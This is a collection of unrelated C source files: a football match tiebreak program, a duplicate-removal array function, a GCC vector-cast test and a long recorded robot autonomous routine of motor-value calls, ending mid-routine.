golsDoSegundoTimeNaVolta) { printf("Time 1\n"); } else { printf("Time 2\n"); } } else if (golsDoPrimeiroTimeNaIda != golsDoSegundoTimeNaIda && golsDoPrimeiroTimeNaVolta == golsDoSegundoTimeNaVolta) { if (golsDoPrimeiroTimeNaIda > golsDoSegundoTimeNaIda) { printf("Time 1\n"); } else { printf("Time 2\n"); } } else { int golsDoPrimeiro = golsDoPrimeiroTimeNaIda + golsDoPrimeiroTimeNaVolta; int golsDoSegundo = golsDoSegundoTimeNaIda + golsDoSegundoTimeNaVolta; if (golsDoPrimeiro == golsDoSegundo) { if (golsDoPrimeiroTimeNaVolta == golsDoSegundoTimeNaIda) { printf("Penaltis\n"); } else if (golsDoPrimeiroTimeNaVolta > golsDoSegundoTimeNaIda) { printf("Time 1\n"); } else { printf("Time 2\n"); } } else if (golsDoPrimeiro > golsDoSegundo) { printf("Time 1\n"); } else { printf("Time 2\n"); } } }
the_stack_data/1153638.c
#include <stdio.h> #include <stdlib.h> static int removeDuplicates(int* nums, int numsSize) { if (numsSize == 0) { return 0; } int i; int len = 0; int count = 1; for (i = 1; i < numsSize; i++) { /* Find the start position to be replaced */ if (nums[len] == nums[i]) { if (count < 2) { count++; /* Replace in each iteration */ nums[++len] = nums[i]; } } else { /* Here there are more than 2 duplicates */ count = 1; nums[++len] = nums[i]; } } return len + 1; } int main(int argc, char **argv) { int i, count = argc - 1; int *nums = malloc(count * sizeof(int)); for (i = 0; i < count; i++) { nums[i] = atoi(argv[i + 1]); } count = removeDuplicates(nums, count); for (i = 0; i < count; i++) { printf("%d ", nums[i]); } printf("\n"); }
the_stack_data/86076150.c
extern void abort (void); typedef int V2SI __attribute__ ((vector_size (8))); typedef unsigned int V2USI __attribute__ ((vector_size (8))); typedef short V2HI __attribute__ ((vector_size (4))); typedef unsigned int V2UHI __attribute__ ((vector_size (4))); V2USI test1 (V2SI x) { return (V2USI) (V2SI) (long long) x; } long long test2 (V2SI x) { return (long long) (V2USI) (V2SI) (long long) x; } int main (void) { if (sizeof (short) != 2 || sizeof (int) != 4 || sizeof (long long) != 8) return 0; union { V2SI x; int y[2]; V2USI z; long long l; } u; V2SI a = { -3, -3 }; u.z = test1 (a); if (u.y[0] != -3 || u.y[1] != -3) abort (); u.l = test2 (a); if (u.y[0] != -3 || u.y[1] != -3) abort (); return 0; }
the_stack_data/89199572.c
#pragma systemfile void push( ) { /* 1 Second(s) */ //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 127, 0, 0, 0, 0 ); auton( 5, 127, 0, 0, 0, 0 ); auton( 21, 127, 0, 0, 0, 0 ); auton( 24, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); auton( 29, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); auton( 29, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); /* 2 Second(s) */ auton( 29, 127, 0, 0, 0, 0 ); auton( 29, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); auton( 29, 127, 0, 0, 0, 0 ); auton( 29, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); auton( 31, 127, 0, 0, 0, 0 ); auton( 30, -127, 0, 0, 0, 0 ); auton( 11, -127, 0, 0, 0, 0 ); auton( -16, -127, 0, 0, 0, 0 ); auton( -26, -127, 1, 0, 0, 0 ); auton( -29, -127, 10, 0, 0, 0 ); auton( -31, -127, 10, 0, 0, 0 ); auton( -35, -127, 5, 0, 0, 0 ); auton( -35, -127, 1, 0, 0, 0 ); auton( -42, -127, 0, 0, 0, 0 ); auton( -38, -127, 0, 0, 0, 0 ); auton( -38, -127, -5, 0, 0, 0 ); auton( -36, -127, -8, 0, 0, 0 ); auton( -35, -127, -7, 0, 0, 0 ); /* 3 Second(s) */ auton( -38, -127, -6, 0, 0, 0 ); auton( -38, -127, 0, 0, 0, 0 ); auton( -36, -127, 2, 0, 0, 0 ); auton( -30, -127, 0, 0, 0, 0 ); auton( -22, -127, 0, 0, 0, 0 ); auton( -10, -127, 1, 0, 0, 0 ); auton( 0, -127, 1, 0, 0, 0 ); auton( 0, 7, -1, -28, 0, -29 ); auton( 0, 7, -8, -127, -11, -127 ); auton( 10, 7, -18, -127, -25, -127 ); auton( 6, 7, -31, -127, -37, -127 ); auton( 7, 7, -43, -127, -42, -127 ); auton( 3, 7, -49, -127, -51, -127 ); auton( 1, 7, -56, -127, -53, -127 ); auton( 0, 7, -57, -127, -60, -127 ); auton( 0, 7, -57, -127, -57, -127 ); auton( 0, 7, -61, -127, -61, -127 ); auton( 0, 7, -57, -127, -58, -127 ); auton( 0, 7, -61, -127, -58, -127 ); auton( 0, 7, -61, -127, -60, -127 ); /* 4 Second(s) */ auton( 0, 7, -60, -127, -58, -127 ); auton( 0, 7, -60, -127, -59, -127 ); auton( 0, 7, -62, -127, -59, -127 ); auton( 0, 7, -59, -127, -61, -127 ); auton( 0, 7, -59, -127, -59, -127 ); auton( 0, 7, -62, -127, -62, -127 ); auton( 0, 7, -60, -127, -58, -127 ); auton( 0, 7, -59, -127, -60, -127 ); auton( 0, 7, -63, -127, -59, -127 ); auton( 0, 7, -59, -127, -61, -127 ); auton( 0, 7, -61, -127, -59, -127 ); auton( 0, 7, -60, -127, -64, -127 ); auton( 0, 7, -62, -127, -58, -127 ); auton( 0, 7, -60, -127, -53, -127 ); auton( 0, 7, -52, -127, -27, -127 ); auton( 1, 7, -51, -127, -38, -127 ); auton( 0, 7, -47, -127, -41, -127 ); auton( 0, 7, -48, -127, -45, -127 ); auton( 2, 7, -43, -127, -54, -127 ); auton( 1, 7, -45, -127, -56, -127 ); /* 5 Second(s) */ auton( 5, 7, -48, -127, -58, -127 ); auton( 5, 7, -56, -127, -62, -127 ); auton( 13, 7, -59, -127, -45, -127 ); auton( 11, 7, -47, -127, -50, -127 ); auton( 9, 7, -53, -127, -45, -127 ); auton( 6, 7, -45, -127, -59, -127 ); auton( 2, 7, -54, -127, -56, -127 ); auton( 2, 7, -50, -127, -56, -127 ); auton( -1, 7, -51, -127, -56, -127 ); auton( 2, 7, -44, -127, -53, -127 ); auton( -1, 7, -46, -127, -51, -127 ); auton( 0, 7, -50, -70, -53, -127 ); auton( 2, 7, -38, -44, -58, -127 ); auton( 1, 7, -11, -44, -30, -127 ); auton( 0, 7, -9, -26, -48, -127 ); auton( 0, 7, -12, 0, -37, -21 ); auton( 0, 7, -11, 0, -24, -21 ); auton( 3, 7, -12, 0, -35, 0 ); auton( 4, 7, -14, 0, -35, 0 ); auton( 0, 7, -11, 0, -21, 0 ); /* 6 Second(s) */ auton( 0, 7, -5, 0, 1, 0 ); auton( 0, 7, 8, 0, 0, 0 ); auton( 0, 7, -2, 0, 0, 0 ); auton( 0, 7, -6, 0, 0, 0 ); auton( 0, 7, -3, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); } void statGoal() { delay(5000); /* 1 Second(s) */ //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 1, 14, 0, 0 ); auton( 0, 7, 4, 17, 0, 16 ); auton( 0, 7, 3, 20, 3, 22 ); auton( 0, 7, 2, 22, 5, 26 ); auton( 1, 7, 6, 22, 7, 26 ); auton( 1, 7, 6, 23, 7, 26 ); auton( 0, 7, 9, 23, 10, 26 ); auton( 1, 7, 10, 24, 10, 25 ); auton( 0, 7, 11, 24, 12, 25 ); auton( 0, 7, 13, 26, 14, 25 ); auton( 0, 7, 15, 26, 15, 25 ); auton( 1, 7, 16, 27, 15, 23 ); /* 2 Second(s) */ auton( 0, 7, 19, 27, 17, 23 ); auton( 0, 7, 17, 27, 18, 23 ); auton( -2, 7, 20, 27, 18, 23 ); auton( 0, 7, 20, 26, 19, 23 ); auton( 2, 7, 19, 26, 19, 23 ); auton( 0, 7, 19, 26, 20, 23 ); auton( 0, 7, 20, 24, 18, 26 ); auton( 0, 7, 17, 24, 17, 26 ); auton( 0, 7, 18, 22, 19, 28 ); auton( -1, 127, 17, 23, 21, 28 ); auton( 1, 127, 17, 23, 20, 28 ); auton( 11, 127, 18, 23, 18, 28 ); auton( 19, 127, 19, 23, 20, 28 ); auton( 22, 127, 21, 23, 20, 28 ); auton( 25, 127, 22, 23, 22, 28 ); auton( 26, 127, 23, 23, 24, 28 ); auton( 25, 127, 21, 23, 24, 28 ); auton( 22, 127, 23, 26, 25, 26 ); auton( 21, 127, 23, 26, 20, 26 ); auton( 27, 127, 21, 26, 19, 26 ); /* 3 Second(s) */ auton( 27, 127, 21, 26, 19, 26 ); auton( 25, 127, 19, 26, 21, 26 ); auton( 24, 127, 19, 26, 20, 26 ); auton( 25, 127, 18, 25, 21, 26 ); auton( 25, 127, 19, 25, 18, 26 ); auton( 26, 127, 18, 25, 17, 26 ); auton( 24, 7, 18, 26, 18, 25 ); auton( 18, 7, 18, 27, 18, 23 ); auton( 15, 7, 19, 27, 18, 23 ); auton( 8, 7, 21, 27, 18, 23 ); auton( 4, 7, 20, 27, 20, 23 ); auton( 1, 7, 21, 25, 20, 23 ); auton( 0, 7, 22, 25, 20, 23 ); auton( 0, 7, 22, 24, 22, 23 ); auton( 1, 7, 21, 22, 21, 21 ); auton( 0, 7, 21, 22, 21, 21 ); auton( 0, 7, 20, 16, 16, 17 ); auton( -1, 7, -65531, 0, 3, 0 ); auton( -1, 7, 64701, 0, -830, 0 ); auton( 0, 7, -2, 0, -2, 0 ); /* 4 Second(s) */ auton( 1, 7, 0, 0, -1, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( -5, -127, 0, 0, 0, 0 ); auton( -19, -127, 0, 0, 0, 0 ); auton( -28, -127, 0, 0, 0, 0 ); auton( -29, -127, 0, 0, 0, 0 ); auton( -30, -127, 0, 0, 0, 0 ); auton( -38, -127, 0, 0, 0, 0 ); auton( -40, -127, 0, 0, 0, 0 ); auton( -32, -127, 0, 0, 0, 0 ); auton( -28, -127, 0, 0, 0, 0 ); auton( -24, -127, 0, 0, 0, 0 ); auton( -17, -127, 0, 0, 0, 0 ); auton( -13, -127, 0, 0, 0, 0 ); auton( -22, -127, 0, 0, 0, 0 ); auton( -28, -127, 0, 0, 0, 0 ); } void mogoFive( ) { /* 1 Second(s) */ //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 127, 0, 0, 0, 0 ); auton( 2, 127, 0, 0, 0, 0 ); auton( 20, 127, 0, 0, 0, 0 ); auton( 24, 127, 0, 0, 0, 0 ); auton( 26, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); auton( 29, 127, 0, 0, 0, 0 ); /* 2 Second(s) */ auton( 28, 127, 0, 0, 0, 0 ); auton( 27, 127, 0, 0, 0, 0 ); auton( 27, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); auton( 28, 127, 0, 0, 0, 0 ); auton( 29, 127, 0, 0, 0, 0 ); auton( 26, 7, 0, 0, 0, 0 ); auton( 19, 7, 0, 0, 0, 0 ); auton( 13, 7, 0, 0, 0, 0 ); auton( 10, 7, 0, 0, 0, 0 ); auton( 7, 7, 0, 0, 0, 0 ); auton( 1, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, -127, 0, 0, 0, 0 ); auton( -1, -127, 0, 0, 0, 0 ); auton( -26, -127, 0, 0, 0, 0 ); auton( -30, -127, 0, 0, 0, 0 ); auton( -34, -127, 0, 0, 0, 0 ); /* 3 Second(s) */ auton( -38, -127, 0, 0, 0, 0 ); auton( -40, -127, 0, 0, 0, 0 ); auton( -42, -127, 0, 0, 0, 0 ); auton( -38, -127, -1, 0, 0, 0 ); auton( -34, -127, -2, 0, 0, 0 ); auton( -36, -127, -1, 0, 0, 0 ); auton( -37, -127, 0, 0, 0, 0 ); auton( -37, -127, 0, 0, 0, 0 ); auton( -36, 7, 0, 0, 0, 0 ); auton( -7, 7, 1, 0, 0, 0 ); auton( 0, 7, 1, 0, 1, 0 ); auton( 0, 7, 5, 0, 6, 0 ); auton( 1, 7, 3, 0, 4, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, -1, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); /* 4 Second(s) */ auton( 0, 7, 0, 0, -1, -17 ); auton( 0, 7, 0, 0, -6, -22 ); auton( 0, 7, 0, 0, -9, -22 ); auton( 0, 7, -1, -18, -4, -24 ); auton( 0, 7, -7, -18, -5, -24 ); auton( 0, 7, -10, -18, -6, -27 ); auton( 0, 7, -10, -21, -7, -30 ); auton( 0, 7, -8, -26, -10, -30 ); auton( 0, 7, -12, -26, -12, -30 ); auton( 0, 7, -14, -33, -14, -30 ); auton( 0, 7, -17, -34, -16, -30 ); auton( 0, 7, -19, -34, -18, -30 ); auton( 0, 7, -20, -34, -20, -30 ); auton( 0, 7, -23, -34, -20, -30 ); auton( 0, 7, -23, -34, -21, -30 ); auton( 0, 7, -26, -34, -23, -30 ); auton( 0, 7, -27, -34, -24, -30 ); auton( 0, 7, -27, -34, -24, -30 ); auton( 0, 7, -26, -33, -27, -30 ); auton( 0, 7, -28, -32, -27, -30 ); /* 5 Second(s) */ auton( 0, 7, -28, -32, -25, -30 ); auton( 0, 7, -28, -30, -27, -30 ); auton( 0, 7, -29, -30, -29, -31 ); auton( 0, 7, -28, -30, -29, -31 ); auton( 0, 7, -28, -30, -29, -32 ); auton( 0, 7, -29, -30, -28, -33 ); auton( 0, 7, -28, -30, -29, -33 ); auton( 0, 7, -29, -30, -31, -33 ); auton( 0, 7, -29, -30, -30, -32 ); auton( 0, 7, -29, -30, -29, -32 ); auton( 0, 7, -29, -30, -29, -32 ); auton( 0, 7, -30, -30, -28, -32 ); auton( 0, 7, -29, -30, -30, -32 ); auton( 0, 7, -28, -30, -30, -32 ); auton( 0, 7, -30, -30, -29, -33 ); auton( 0, 7, -29, -30, -29, -33 ); auton( 0, 7, -31, -29, -31, -33 ); auton( 0, 7, -30, -29, -31, -33 ); auton( 0, 7, -29, -29, -29, -33 ); auton( 0, 7, -30, -28, -31, -34 ); /* 6 Second(s) */ auton( 0, 7, -30, -28, -32, -34 ); auton( 0, 7, -30, -28, -31, -35 ); auton( 0, 7, -31, -27, -30, -36 ); auton( 0, 7, -29, -28, -30, -36 ); auton( 0, 7, -30, -28, -31, -36 ); auton( 0, 7, -29, -28, -33, -36 ); auton( 0, 7, -30, -28, -31, -36 ); auton( 0, 7, -30, -28, -30, -36 ); auton( 0, 7, -31, -28, -30, -36 ); auton( 0, 7, -29, -30, -33, -35 ); auton( 0, 7, -30, -32, -31, -34 ); auton( 0, 7, -32, -32, -30, -34 ); auton( 0, 7, -32, -37, -32, -34 ); auton( 0, 7, -31, -37, -32, -33 ); auton( 0, 7, -33, -38, -29, -31 ); auton( 0, 7, -34, -38, -27, -31 ); auton( 0, 7, -30, -42, -26, -30 ); auton( 0, 7, -32, -44, -28, -29 ); auton( 0, 7, -29, -44, -28, -29 ); auton( 0, 7, -1, -45, -3, -28 ); /* 7 Second(s) */ auton( 0, 7, 0, -43, 0, -29 ); auton( 0, 7, 1396, -42, 1459, -29 ); auton( 0, 7, -18, -42, -16, -29 ); auton( 0, 7, -18, -40, -14, -28 ); auton( 0, 7, -17, -30, -13, -23 ); auton( 0, 7, -12, -30, -11, -23 ); auton( 0, 7, -8, 0, -9, -14 ); auton( 0, 7, -1, 0, -4, -13 ); auton( 0, 7, 0, 0, -1, -13 ); auton( 0, 7, 0, 0, 1, 0 ); auton( 0, 97, 0, 0, 0, 0 ); auton( 0, 97, 0, 0, 0, 0 ); auton( 16, 96, 0, 0, 0, 0 ); auton( 26, 73, 7, 0, 6, 0 ); auton( 24, 61, 5, 0, 5, 0 ); auton( 19, 41, 1, 0, 1, 0 ); auton( 12, 27, 0, 0, 0, 0 ); auton( 6, 22, 0, 0, 0, 0 ); auton( 4, 18, 0, 0, 0, 0 ); auton( 0, 16, 0, 0, 0, 0 ); /* 8 Second(s) */ auton( 0, 16, 0, 0, 0, 0 ); auton( 0, 16, 0, 0, 0, 0 ); auton( 0, 16, 2, 14, 0, 0 ); auton( 0, 16, 2, 18, 0, 0 ); auton( 0, 16, 4, 18, 0, 0 ); auton( 0, 16, 3, 21, 4, 16 ); auton( 0, 16, 4, 22, 7, 18 ); auton( 0, 16, 6, 22, 7, 18 ); auton( 0, 16, 6, 26, 6, 18 ); auton( 0, 16, 8, 27, 7, 18 ); auton( 0, 16, 9, 27, 12, 18 ); auton( 0, 16, 11, 24, 12, 24 ); auton( 0, 16, 12, 22, 12, 28 ); auton( 0, 16, 12, 22, 14, 28 ); auton( 0, 16, 12, 22, 16, 28 ); auton( 0, 16, 12, 22, 14, 28 ); auton( 0, 16, 14, 24, 16, 28 ); auton( 0, 16, 14, 26, 17, 28 ); auton( 0, 16, 15, 26, 16, 28 ); auton( 0, 16, 15, 26, 18, 28 ); /* 9 Second(s) */ auton( 0, 16, 15, 26, 19, 28 ); auton( 0, 16, 17, 26, 19, 28 ); auton( 0, 16, 19, 29, 19, 28 ); auton( 0, 16, 20, 37, 19, 28 ); auton( 0, 16, 19, 39, 20, 28 ); auton( 0, 16, 23, 39, 22, 28 ); auton( 0, 16, 25, 40, 22, 27 ); auton( 0, 16, 27, 40, 23, 27 ); auton( 0, 16, 28, 40, 24, 27 ); auton( 0, 16, 29, 39, 26, 28 ); auton( 0, 16, 27, 39, 24, 28 ); auton( 0, 16, 29, 35, 24, 34 ); auton( 0, 16, 29, 34, 26, 38 ); auton( 0, 16, 29, 34, 27, 38 ); auton( 0, 16, 29, 34, 31, 38 ); auton( 0, 16, 29, 36, 30, 38 ); auton( 0, 16, 29, 36, 29, 38 ); auton( 0, 16, 31, 38, 30, 38 ); auton( 0, 16, 30, 37, 31, 38 ); auton( 0, 16, 30, 31, 28, 43 ); /* 10 Second(s) */ auton( 0, 16, 26, 31, 29, 43 ); auton( 0, 16, 28, 30, 34, 46 ); auton( 0, 16, 27, 29, 37, 46 ); auton( 0, 16, 27, 29, 40, 46 ); auton( 0, 16, 29, 29, 34, 46 ); auton( 0, 16, 28, 36, 34, 46 ); auton( 0, 16, 30, 36, 35, 46 ); auton( 0, 16, 31, 48, 37, 45 ); auton( 0, 16, 31, 49, 37, 45 ); auton( 0, 16, 34, 49, 39, 45 ); auton( 0, 16, 35, 49, 37, 45 ); auton( 0, 16, 36, 53, 36, 40 ); auton( 0, 16, 37, 55, 36, 37 ); auton( 0, 16, 39, 55, 36, 37 ); auton( 0, 16, 40, 55, 37, 38 ); auton( 0, 16, 43, 51, 38, 38 ); auton( 0, 16, 42, 25, 40, 42 ); auton( 0, 16, 36, 0, 40, 46 ); auton( 0, 16, 34, 0, 42, 46 ); auton( 0, 16, 21, 0, 29, 46 ); /* 11 Second(s) */ auton( 0, 16, 0, -15, 0, 48 ); auton( 0, 16, 0, -15, 0, 48 ); auton( 0, 16, 0, -19, 0, 49 ); auton( 0, 16, 0, -21, 0, 50 ); auton( 0, 16, 0, -21, 0, 50 ); auton( 0, 16, 0, -21, 0, 50 ); auton( 0, 16, 0, -21, 0, 49 ); auton( 0, 16, 0, -21, 0, 49 ); auton( 0, 16, 0, -21, 0, 49 ); auton( 0, 16, 0, -22, 0, 49 ); auton( 0, 16, 0, -22, 0, 49 ); auton( 0, 16, 0, -23, 0, 49 ); auton( 0, 16, 0, -23, 0, 49 ); auton( 0, 16, 0, -23, 0, 49 ); auton( 0, 16, 0, -23, 0, 40 ); auton( 0, 16, 0, -23, 0, 18 ); auton( 0, 16, 0, -23, 0, 18 ); auton( 0, 16, 0, -23, 0, 0 ); auton( 0, 16, 0, -23, 0, 0 ); auton( 0, 16, 0, -23, 0, 0 ); /* 12 Second(s) */ auton( 0, 16, 0, -23, 0, 0 ); auton( 0, 16, 0, -25, 0, 0 ); auton( 0, 16, 0, -27, 0, 14 ); auton( 0, 16, 0, -27, 0, 16 ); auton( 0, 16, 0, -21, 0, 16 ); auton( 0, 16, 0, -21, 0, 16 ); auton( 0, 16, 0, -21, 0, 16 ); auton( 0, 16, 0, -21, 0, 16 ); auton( 0, 16, 0, -21, 0, 16 ); auton( 0, 16, 0, -21, 0, 16 ); auton( 0, 16, 0, -21, 0, 16 ); auton( 0, 16, 0, -18, 0, 0 ); auton( 0, 16, 0, 0, 0, 0 ); auton( 0, -127, 0, 0, 0, 0 ); auton( 0, -127, 0, 0, 0, 0 ); auton( 1, -127, 0, 0, 0, 0 ); auton( -19, -127, 0, 0, 0, 0 ); auton( -30, -127, 0, 0, 0, 0 ); auton( -32, -127, -1259, 0, -1338, 0 ); auton( -32, -127, -1, 0, -1, 0 ); /* 13 Second(s) */ auton( -15, 7, 0, 0, 0, 0 ); auton( -1, 7, 5, 0, 4, 0 ); auton( 1, 7, 5, 0, 7, 0 ); auton( 10, 7, 1, 0, 4, 0 ); auton( 8, 7, 0, 0, 0, 0 ); auton( 8, 7, 0, 0, 0, 0 ); auton( 4, 7, 0, 0, 0, 0 ); auton( 4, 7, 0, 0, 0, 16 ); auton( 2, 7, 0, 0, 3, 23 ); auton( 0, 7, 0, 16, 4, 34 ); auton( 0, 7, 0, 16, 2, 34 ); auton( 0, 7, 4, 17, 7, 34 ); auton( 0, 7, 6, 18, 9, 34 ); auton( 0, 7, 8, 20, 12, 42 ); auton( 0, 7, 10, 20, 12, 42 ); auton( 0, 7, 11, 20, 15, 44 ); auton( 0, 7, 13, 20, 15, 44 ); auton( 0, 7, 13, 26, 19, 45 ); auton( 0, 7, 16, 62, 21, 84 ); auton( 0, 7, 20, 127, 25, 127 ); /* 14 Second(s) */ auton( 0, 7, 34, 127, 39, 127 ); auton( 2, 7, 45, 127, 52, 127 ); auton( 2, 7, 54, 127, 48, 127 ); auton( 1, 7, 54, 127, 54, 127 ); auton( 0, 7, 57, 127, 54, 127 ); auton( 0, 7, 60, 127, 57, 127 ); auton( 0, 7, 61, 127, 59, 127 ); auton( 0, 7, 60, 127, 58, 127 ); auton( 0, 7, 60, 127, 59, 127 ); auton( 0, 7, 62, 127, 60, 127 ); auton( 0, 7, 60, 127, 23, 127 ); auton( 0, 7, 53, 127, 19, 127 ); auton( 0, 7, 56, 45, 29, 127 ); auton( 1, 7, 49, 13, 55, 32 ); auton( 2, 7, 32, 13, 61, 32 ); auton( 0, 7, 31, 0, 37, 0 ); auton( 0, 7, 32, 0, 0, 0 ); auton( 0, 7, 27, 0, 0, 0 ); auton( 0, 7, 13, 0, -4, 0 ); auton( 0, 7, 5, 0, -2, 0 ); } void mogoTen( ) { /* 1 Second(s) */ //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); //auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 127, 0, 0, 0, 0 ); auton( 14, 127, 0, 0, 0, 0 ); auton( 22, 127, 0, 0, 0, 0 ); auton( 24, 127, 0, 0, 0, 0 ); auton( 25, 127, 0, 0, 0, 0 ); auton( 27, 127, 0, 0, 0, 0 ); auton( 26, 127, 0, 0, 0, 0 ); auton( 26, 127, 0, 0, 0, 0 ); auton( 25, 127, 0, 0, 0, 0 ); auton( 25, 127, 0, 0, 0, 0 ); auton( 25, 127, 0, 0, 0, 0 ); auton( 25, 127, 0, 0, 0, 0 ); auton( 26, 127, 0, 0, 0, 0 ); auton( 26, 127, 0, 0, 0, 0 ); auton( 26, 7, 0, 0, 0, 0 ); /* 2 Second(s) */ auton( 19, 7, 0, 0, 0, 0 ); auton( 13, 7, 0, 0, 0, 0 ); auton( 8, 7, 0, 0, 0, 0 ); auton( 6, -127, 0, 0, 0, 0 ); auton( 0, -127, 0, 0, 0, 0 ); auton( -23, -127, 0, 0, 0, 0 ); auton( -28, -127, 0, 0, 0, 0 ); auton( -31, -127, 0, 0, 0, 0 ); auton( -35, -127, 0, 0, 0, 0 ); auton( -39, -127, 0, 0, 0, 0 ); auton( -39, -127, 0, 0, 0, 0 ); auton( -36, -127, 0, 0, 0, 0 ); auton( -31, -127, 0, 0, 0, 0 ); auton( -34, -127, 0, 0, 0, 0 ); auton( -33, -127, 0, 0, 0, 0 ); auton( -34, -127, 0, 0, 0, 0 ); auton( -28, -127, 0, 0, 0, 0 ); auton( -23, -127, 0, 0, 0, 0 ); auton( -17, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 1, 0 ); /* 3 Second(s) */ auton( 3, 7, 0, 0, 1, 0 ); auton( 3, 7, 0, 0, 0, 0 ); auton( 5, 7, 0, 0, 0, 0 ); auton( 2, 7, 0, 0, 0, 0 ); auton( 1, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, 0, 0, 0, 0 ); auton( 0, 7, -2, -15, -3, -16 ); auton( 0, 7, -4, -23, -5, -19 ); auton( 0, 7, -2, -27, -1, -23 ); auton( 0, 7, -8, -27, -5, -23 ); auton( 0, 7, -8, -27, -9, -26 ); auton( 0, 7, -10, -27, -10, -27 ); auton( 0, 7, -12, -27, -11, -27 ); auton( 0, 7, -13, -27, -14, -27 ); auton( 0, 7, -14, -27, -15, -28 ); auton( 0, 7, -15, -27, -16, -28 ); auton( 0, 7, -17, -27, -16, -28 ); auton( 0, 7, -17, -27, -16, -28 ); auton( 0, 7, -17, -27, -18, -28 ); /* 4 Second(s) */ auton( 0, 7, -18, -27, -17, -28 ); auton( 0, 7, -19, -27, -17, -28 ); auton( 0, 7, -19, -27, -19, -28 ); auton( 0, 7, -19, -27, -20, -28 ); auton( 0, 7, -20, -27, -20, -28 ); auton( 0, 7, -20, -27, -21, -28 ); auton( 0, 7, -21, -27, -20, -28 ); auton( 0, 7, -20, -27, -20, -28 ); auton( 0, 7, -21, -27, -21, -29 ); auton( 0, 7, -22, -27, -22, -29 ); auton( 0, 7, -22, -27, -23, -29 ); auton( 0, 7, -23, -27, -24, -29 ); auton( 0, 7, -22, -29, -22, -29 ); auton( 0, 7, -23, -29, -22, -29 ); auton( 0, 7, -23, -31, -23, -28 ); auton( 0, 7, -23, -31, -25, -28 ); auton( 0, 7, -23, -31, -24, -28 ); auton( 0, 7, -25, -31, -22, -30 ); auton( 0, 7, -23, -30, -24, -34 ); auton( 0, 7, -24, -30, -25, -35 ); /* 5 Second(s) */ auton( 0, 7, -24, -30, -24, -36 ); auton( 0, 7, -25, -30, -26, -36 ); auton( 0, 7, -25, -30, -27, -36 ); auton( 0, 7, -26, -34, -27, -36 ); auton( 0, 7, -28, -34, -26, -36 ); auton( 0, 7, -28, -37, -28, -34 ); auton( 0, 7, -29, -38, -30, -32 ); auton( 0, 7, -31, -38, -29, -32 ); auton( 0, 7, -30, -38, -29, -32 ); auton( 0, 7, -30, -38, -31, -32 ); auton( 0, 7, -31, -38, -31, -33 ); auton( 0, 7, -32, -38, -29, -33 ); auton( 0, 7, -31, -38, -30, -33 ); auton( 0, 7, -33, -38, -30, -33 ); auton( 0, 7, -31, -38, -30, -33 ); auton( 0, 7, -31, -38, -31, -33 ); auton( 0, 7, -33, -38, -30, -33 ); auton( 0, 7, -32, -38, -31, -35 ); auton( 0, 7, -33, -38, -33, -35 ); auton( 0, 7, -33, -36, -33, -40 ); /* 6 Second(s) */ auton( 0, 7, -34, -36, -33, -40 ); auton( 0, 7, -33, -35, -34, -42 ); auton( 0, 7, -32, -35, -35, 